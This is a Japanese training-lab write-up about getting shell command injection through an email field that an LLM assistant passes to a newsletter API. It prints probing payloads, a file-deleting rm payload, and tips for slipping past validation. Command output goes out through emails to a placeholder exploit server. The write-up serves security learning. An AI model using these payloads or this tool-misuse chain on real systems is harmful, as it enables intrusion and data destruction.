Hello there, ('ω')ノ
なぜ $(whoami) を使うのか(Step 4 の理由)
最小の副作用で RCE を立証できるから
whoamiは 読むだけ のコマンド。ファイル破壊や設定変更を伴わず、まずは 「本当に OS コマンドが実行されたのか」 を安全に確かめられます。観測がめちゃくちゃ簡単だから 仕込みアドレス
$(whoami)@YOUR-EXPLOIT-SERVER-ID...に対して、もしサーバ側でコマンド置換が起きれば ローカル部が実行結果(例:carlos)に置き換わる。 つまり メールの宛先 がcarlos@YOUR-EXPLOIT-SERVER-ID...になっていれば RCE 成立が一目で分かる わけです。結果文字列がアドレスとして妥当(壊れにくい)だから
whoamiの出力は 英小文字のみ・空白なし。メールのローカル部にそのまま使えて、スペースや記号でバリデーションに引っかからない。 (対案のidは出力に空白が含まれ、アドレスを壊しやすい)実行ユーザー(権限)の可視化に直結するから 出力が
carlosなら どのユーザー権限で実行されたか が分かる。続くrm /home/carlos/morale.txtの パス選定の裏付け になります。POSIX 環境での通りが良い・短く安定しているから
$(...)は標準的な シェルのコマンド置換。短く、余計なクォートやエスケープが要らず、実装差の影響を受けにくい。
期待される観測結果と判断
- 成功(RCE 確定):メールが
carlos@YOUR-EXPLOIT-SERVER-ID...に届く → サーバが$(whoami)を シェルに渡し実行 している - 未成立(置換されず):メールが
$(whoami)@...そのままの宛先で届く → 文字列扱い。別の注入点 や 別のメタ文字 を試す - エラー:配信失敗や LLM の「something went wrong」 → 多くは 削除自体は成功 しているケースあり。ログで再確認
失敗時のリトライ指針(壊さずに前進)
- コマンド置換の方言を試す:
`whoami`(バッククォート) - 空白回避:必要に応じて
$IFSを利用(例:id$IFS-un) - 演算子の微調整:
$(id -un)→ 出力はcarlos(ただしwhoamiの方が短く堅い) - バリデーション回避:前後に無害文字を足す(例:
x$(whoami)x@...)→ 届いた宛先がxcarlosx@...なら置換成立を確認
レポートや手順書に追記する一文(そのまま使える)
Step 4(RCE 検証):Newsletter Subscription API の引数に
$(whoami)@…を指定。 これは 破壊を伴わない最小ペイロードで、シェルのコマンド置換 が起きれば宛先がcarlos@…に変化するため、RCE を安全かつ即座に立証 できる。 実行ユーザーがcarlosと判明したので、次段でrm /home/carlos/morale.txtを確実に通せる根拠になる。
最後に(思考の型)
- 正常系を固める → 2) 誰でも叩ける送信系APIを選ぶ → 3)
$(whoami)で安全に RCE 確証 → 4) 本命のrmを実行 この順番だと、事故らず、かつ 根拠を積み上げて ゴール(morale.txt削除)に到達できます。
なぜ /home/carlos/morale.txt と分かるの?
短い答え
- このLABの要件に「Carlos のホームディレクトリの morale.txt を削除せよ」と明記されています(=出題がパスとファイル名を与えている)。
- 実環境でも、Linux ではホームディレクトリは慣例的に
/home/<ユーザー名>です。Step 4 の$(whoami)で実行ユーザーが carlos と判明したら、ホームは自然に/home/carlosと推定できます。 - さらに削除前に“本当にそこにあるか”を安全に検証できます(下に具体例)。
現場での“確認の積み上げ”(壊さずに確証を取る)
LLM から Newsletter API に渡すメールアドレスの ローカル部(@ の前)で コマンド置換 を使うと、結果文字列 をそのまま宛先に反映させて観測できます。 ここでは 空白やスラッシュを含めない 出力を作るために、存在判定だけを マーカー文字列 で返すのがコツです。
1) 実行ユーザーの確認(誰のホームか)
$(id -un)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
- メールの宛先が carlos@… になれば、実行ユーザーは carlos と確定。
- ⇒ ホームは慣例上 /home/carlos と推定。
2) ディレクトリの存在チェック(/home/carlos がある?)
$(test -d /home/carlos && echo ok || echo no)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
- 宛先が ok@… → ディレクトリは存在
- 宛先が no@… → そのパスは存在せず(※ その場合は
$(eval echo ~carlos)等で再調査。ただし出力に「/」が入るため、次のような真偽だけ返す判定が無難)
3) ファイルの存在チェック(morale.txt がある?)
$(test -f /home/carlos/morale.txt && echo hit || echo miss)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
- 宛先が hit@… → その場所に morale.txt が存在
- 宛先が miss@… → 見つからず(ファイル名/場所の再確認)
こうして 「ユーザー=carlos」→「/home/carlos がある」→「morale.txt もある」 を、破壊を伴わず段階的に立証できます。
そして削除(最終ステップ)
確証が取れたら、要求どおり削除を実行します:
$(rm /home/carlos/morale.txt)@YOUR-EXPLOIT-SERVER-ID.exploit-server.net
- LLMの返答が"something went wrong"のようでも、実行自体は成功していることがあります(LAB想定どおり)。
まとめ(理解の芯)
- 出題がパスとファイル名を指定しているのが第一根拠。
- whoami で実行ユーザーを確かめ、Linuxの標準的なホームパス規約に当てはめると自然に /home/carlos へ。
- 実行前に
test -d/test -fをコマンド置換で使い、宛先に「ok/no」「hit/miss」などの安全なマーカーを出させれば、破壊せずに存在確認ができます。 - すべて揃ったら
rm /home/carlos/morale.txtでゴール。
Best regards, (^^ゞ